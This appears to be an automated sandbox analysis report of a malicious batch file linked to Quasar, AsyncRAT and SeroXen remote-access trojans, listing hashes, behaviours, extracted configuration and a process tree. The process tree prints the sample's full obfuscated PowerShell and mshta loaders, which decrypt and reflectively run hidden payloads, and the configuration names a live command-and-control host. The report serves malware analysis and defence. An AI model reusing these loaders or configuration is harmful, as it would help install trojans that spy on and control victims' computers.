Overview

overview

10

Static

static

1

Uni.bat

windows7-x64

7

Uni.bat

windows10-2004-x64

10

Resubmissions

30/09/2023, 20:01

230930-yrr4esfb7w 10

30/09/2023, 19:56

230930-yn1amagf44 7

Analysis

  • max time kernel
    40s
  • max time network
    36s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/09/2023, 20:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    Uni.bat

  • Size

    12.5MB

  • MD5

    dc6a0e74f0f377f122502fe56f24701e

  • SHA1

    a5a97d00f47d5f577bef14cee5e510c39f51bdbc

  • SHA256

    73073ff98d229b84b7d857d2934440f0107d960ece080ba1281a0940c740ccb6

  • SHA512

    94816734e3bfa98bc57132cbbabc129267498c45f23c0b1846c291248b647ab772e4e59f860ff4abd6cc37fbf8e634202268662c934f7620a1d5530134f4f1f2

  • SSDEEP

    49152:XfB9XOZ4339wz3TuoLYYx+QC7BUssJanETvN7zHOBVk3WAYaeCQyetfUBgvfHMhr:O

Score
10/10
asyncratquasarv2.2.3 | seroxenratspywaretrojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.3 | SeroXen

C2

Puryx-64788.portmap.host:64788

Mutex

0c27d73c-e744-4319-a220-a73b08da980f

Attributes
  • encryption_key

    DE7B4BE6BA198F306661142656C505D77AF3F768

  • install_name

    .exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
    rat
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{46153c59-57ae-44da-b279-486b6dcb1fd8}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:896
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
        "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function DArpx($qnEpG){ $MeyaV=[System.Security.Cryptography.Aes]::Create(); $MeyaV.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MeyaV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MeyaV.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3jfJ0ceQHNW+zOdASCdJcp2UJdrgj6xgQaqOdOHTtX4='); $MeyaV.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0XEt1KOt7M59sWCakZeW+Q=='); $oBNgb=$MeyaV.CreateDecryptor(); $return_var=$oBNgb.TransformFinalBlock($qnEpG, 0, $qnEpG.Length); $oBNgb.Dispose(); $MeyaV.Dispose(); $return_var;}function SENsx($qnEpG){ $KJhsl=New-Object System.IO.MemoryStream(,$qnEpG); $sYLBF=New-Object System.IO.MemoryStream; $MTzLH=New-Object System.IO.Compression.GZipStream($KJhsl, [IO.Compression.CompressionMode]::Decompress); $MTzLH.CopyTo($sYLBF); $MTzLH.Dispose(); $KJhsl.Dispose(); $sYLBF.Dispose(); $sYLBF.ToArray();}function GSMSc($qnEpG,$ixwQE){ $yIJbn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$qnEpG); $YnZuk=$yIJbn.EntryPoint; $YnZuk.Invoke($null, $ixwQE);}$uLEkV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($QdFyT in $uLEkV) { if ($QdFyT.StartsWith('SEROXEN')) { $KlCRp=$QdFyT.Substring(7); break; }}$xKNhU=[string[]]$KlCRp.Split('\');$fuwVw=SENsx (DArpx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($xKNhU[0])));$owJgB=SENsx (DArpx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($xKNhU[1])));GSMSc $owJgB (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));GSMSc $fuwVw (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\SysWOW64\dllhost.exe
          C:\Windows\SysWOW64\dllhost.exe /Processid:{773b6f57-7d24-403f-844f-495308bb58f0}
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1176
    • C:\Windows\$sxr-mshta.exe
      C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-gMVXtSWXuXwDhTpqFyqI4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Windows\$sxr-cmd.exe
        "C:\Windows\$sxr-cmd.exe" /c %$sxr-gMVXtSWXuXwDhTpqFyqI4312:&#<?=%
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1340
        • C:\Windows\$sxr-powershell.exe
          C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function oAWLu($RYFCl){ $NNCtp=[System.Security.Cryptography.Aes]::Create(); $NNCtp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $NNCtp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $NNCtp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U3V20TT8kRCx7S1w10uzCutJNPvICRSwxlch6hoXNqM='); $NNCtp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OjT1Vzb8ze6fwJqwvCawZQ=='); $AbYwe=$NNCtp.('rotpyrceDetaerC'[-1..-15] -join '')(); $wBkMs=$AbYwe.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RYFCl, 0, $RYFCl.Length); $AbYwe.Dispose(); $NNCtp.Dispose(); $wBkMs;}function YosFF($RYFCl){ $bBRfa=New-Object System.IO.MemoryStream(,$RYFCl); $JHeuW=New-Object System.IO.MemoryStream; $xAvME=New-Object System.IO.Compression.GZipStream($bBRfa, [IO.Compression.CompressionMode]::Decompress); $xAvME.CopyTo($JHeuW); $xAvME.Dispose(); $bBRfa.Dispose(); $JHeuW.Dispose(); $JHeuW.ToArray();}function pYheF($RYFCl,$rEbiY){ $gmBgi=[System.Reflection.Assembly]::Load([byte[]]$RYFCl); $LjloR=$gmBgi.EntryPoint; $LjloR.Invoke($null, $rEbiY);}$NNCtp1 = New-Object System.Security.Cryptography.AesManaged;$NNCtp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$NNCtp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$NNCtp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U3V20TT8kRCx7S1w10uzCutJNPvICRSwxlch6hoXNqM=');$NNCtp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OjT1Vzb8ze6fwJqwvCawZQ==');$JIpLg = $NNCtp1.('rotpyrceDetaerC'[-1..-15] -join '')();$PJNVK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wFbMh1mW2H6x6zWnf5/Bvg==');$PJNVK = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PJNVK, 0, $PJNVK.Length);$PJNVK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PJNVK);$aXjKg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PHgykfn7zkQQJ7jLogowQPgbfv5DjE8ZhcrirL5ROVE=');$aXjKg = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($aXjKg, 0, $aXjKg.Length);$aXjKg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($aXjKg);$itmqQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EXZ5fRPNOIHPwQ1bEWsuAA==');$itmqQ = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($itmqQ, 0, $itmqQ.Length);$itmqQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($itmqQ);$xXsea = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/ed6XiT7+GvCf1NneT/sXn8KN81fDIE3RqwiEnf2PQ7U0+0G7Zflrx59VivK91xq9iC9lRl8+Z7yF2Mowe4hQJH33bI5OSGLrnnyet1hE+FGW1Bize+SEhcOkoGaOGH7YggcwmGUl0s3tfNXxGgjJapDH8j9+kx/rKjJ2U6fXe3yuH2zTHUfqSEdmDwA4jcc6UvSypKSuzTOYTx7Y+YCNg/+BIXgDkEegbH3KOu9cU7z89ZcfS9Ud81SkJ0W2DQoradzofn0mr3aoripI2lNUSGz1PI8Nu+21qQWhEOUi5JeREZMthmgzg1N6E1abyzwhvopHUIU/gTOUtBDhHvxZj1RJJbaAdJPJjWrHgLV6tDKveykzqx+/LMT+5kA8FKOV9xFrZod6TOQpfu/zl3dogGvCd/S75jsl5fLJsFOgCI=');$xXsea = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xXsea, 0, $xXsea.Length);$xXsea = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xXsea);$qVuzc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pjzq7Di8lfo4reYfGe4o1Q==');$qVuzc = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qVuzc, 0, $qVuzc.Length);$qVuzc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qVuzc);$tmjGr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BrBQpdTiR5aBBZlQV33tTA==');$tmjGr = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tmjGr, 0, $tmjGr.Length);$tmjGr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tmjGr);$QngeQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HSXlT0eQ5rOi1JnwI5enSA==');$QngeQ = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QngeQ, 0, $QngeQ.Length);$QngeQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QngeQ);$MOocs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QRcCFxnQbGGMYCLDtKpb2w==');$MOocs = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MOocs, 0, $MOocs.Length);$MOocs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MOocs);$TPUvd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kNqMPLoUphaFEPjxP9GeNA==');$TPUvd = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TPUvd, 0, $TPUvd.Length);$TPUvd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TPUvd);$PJNVK0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GIQNcmT2L+lbUdmesRem7g==');$PJNVK0 = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PJNVK0, 0, $PJNVK0.Length);$PJNVK0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PJNVK0);$PJNVK1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('djAuH9RkELwNqSOnLi2r1g==');$PJNVK1 = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PJNVK1, 0, $PJNVK1.Length);$PJNVK1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PJNVK1);$PJNVK2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bOoSIyMQopB64vqcfkYvhg==');$PJNVK2 = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PJNVK2, 0, $PJNVK2.Length);$PJNVK2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PJNVK2);$PJNVK3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9Lkh8YypnfDmLG0gfb9zTg==');$PJNVK3 = $JIpLg.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PJNVK3, 0, $PJNVK3.Length);$PJNVK3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PJNVK3);$JIpLg.Dispose();$NNCtp1.Dispose();if (@(get-process -ea silentlycontinue $PJNVK3).count -gt 1) {exit};$opOqv = [Microsoft.Win32.Registry]::$MOocs.$QngeQ($PJNVK).$tmjGr($aXjKg);$hArVm=[string[]]$opOqv.Split('\');$ZhexR=YosFF(oAWLu([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hArVm[1])));pYheF $ZhexR (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$oyKba = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hArVm[0]);$NNCtp = New-Object System.Security.Cryptography.AesManaged;$NNCtp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$NNCtp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$NNCtp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U3V20TT8kRCx7S1w10uzCutJNPvICRSwxlch6hoXNqM=');$NNCtp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OjT1Vzb8ze6fwJqwvCawZQ==');$AbYwe = $NNCtp.('rotpyrceDetaerC'[-1..-15] -join '')();$oyKba = $AbYwe.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oyKba, 0, $oyKba.Length);$AbYwe.Dispose();$NNCtp.Dispose();$bBRfa = New-Object System.IO.MemoryStream(, $oyKba);$JHeuW = New-Object System.IO.MemoryStream;$xAvME = New-Object System.IO.Compression.GZipStream($bBRfa, [IO.Compression.CompressionMode]::$PJNVK1);$xAvME.$TPUvd($JHeuW);$xAvME.Dispose();$bBRfa.Dispose();$JHeuW.Dispose();$oyKba = $JHeuW.ToArray();$IRUUj = $xXsea | IEX;$gmBgi = $IRUUj::$PJNVK2($oyKba);$LjloR = $gmBgi.EntryPoint;$LjloR.$PJNVK0($null, (, [string[]] ($itmqQ)))
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4668

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r2blct1z.5zy.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • memory/896-36-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/896-34-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/1176-39-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1176-37-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download

          • memory/4356-21-0x000001B1045F0000-0x000001B104600000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4356-16-0x000001B1045F0000-0x000001B104600000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4356-26-0x00007FFF6A810000-0x00007FFF6A829000-memory.dmp

            Filesize

            100KB

            Download

          • memory/4356-27-0x000001B11D570000-0x000001B11D614000-memory.dmp

            Filesize

            656KB

            Download

          • memory/4356-28-0x000001B11E2C0000-0x000001B11E316000-memory.dmp

            Filesize

            344KB

            Download

          • memory/4356-29-0x000001B11E320000-0x000001B11E378000-memory.dmp

            Filesize

            352KB

            Download

          • memory/4356-30-0x000001B1047C0000-0x000001B1047E2000-memory.dmp

            Filesize

            136KB

            Download

          • memory/4356-31-0x00007FFF7F270000-0x00007FFF7F465000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/4356-33-0x000001B1027B0000-0x000001B1027BA000-memory.dmp

            Filesize

            40KB

            Download

          • memory/4356-23-0x00007FFF7D450000-0x00007FFF7D50E000-memory.dmp

            Filesize

            760KB

            Download

          • memory/4356-22-0x00007FFF7F270000-0x00007FFF7F465000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/4356-20-0x000001B102780000-0x000001B1027A4000-memory.dmp

            Filesize

            144KB

            Download

          • memory/4356-19-0x000001B1045F0000-0x000001B104600000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4356-18-0x000001B1045F0000-0x000001B104600000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4356-17-0x00007FFF5FB00000-0x00007FFF605C1000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/4356-24-0x000001B11D870000-0x000001B11E2BE000-memory.dmp

            Filesize

            10.3MB

            Download

          • memory/4356-15-0x000001B1045F0000-0x000001B104600000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4356-14-0x00007FFF5FB00000-0x00007FFF605C1000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/4356-9-0x000001B104750000-0x000001B104772000-memory.dmp

            Filesize

            136KB

            Download

          • memory/4668-53-0x00007FFF5FB00000-0x00007FFF605C1000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/4668-54-0x000001F95D270000-0x000001F95D280000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4668-55-0x000001F95D270000-0x000001F95D280000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4668-65-0x00007FFF7F270000-0x00007FFF7F465000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/4668-66-0x00007FFF7D450000-0x00007FFF7D50E000-memory.dmp

            Filesize

            760KB

            Download

          • memory/4668-67-0x000001F976350000-0x000001F9768D4000-memory.dmp

            Filesize

            5.5MB

            Download

          • memory/4668-68-0x00007FFF6A810000-0x00007FFF6A829000-memory.dmp

            Filesize

            100KB

            Download

          • memory/4668-69-0x000001F97EDA0000-0x000001F97F56A000-memory.dmp

            Filesize

            7.8MB

            Download

          • memory/4668-70-0x000001F97F570000-0x000001F97F9AE000-memory.dmp

            Filesize

            4.2MB

            Download

          • memory/4668-71-0x000001F97F9B0000-0x000001F97FA62000-memory.dmp

            Filesize

            712KB

            Download

          • memory/4668-72-0x00007FFF7F270000-0x00007FFF7F465000-memory.dmp

            Filesize

            2.0MB

            Download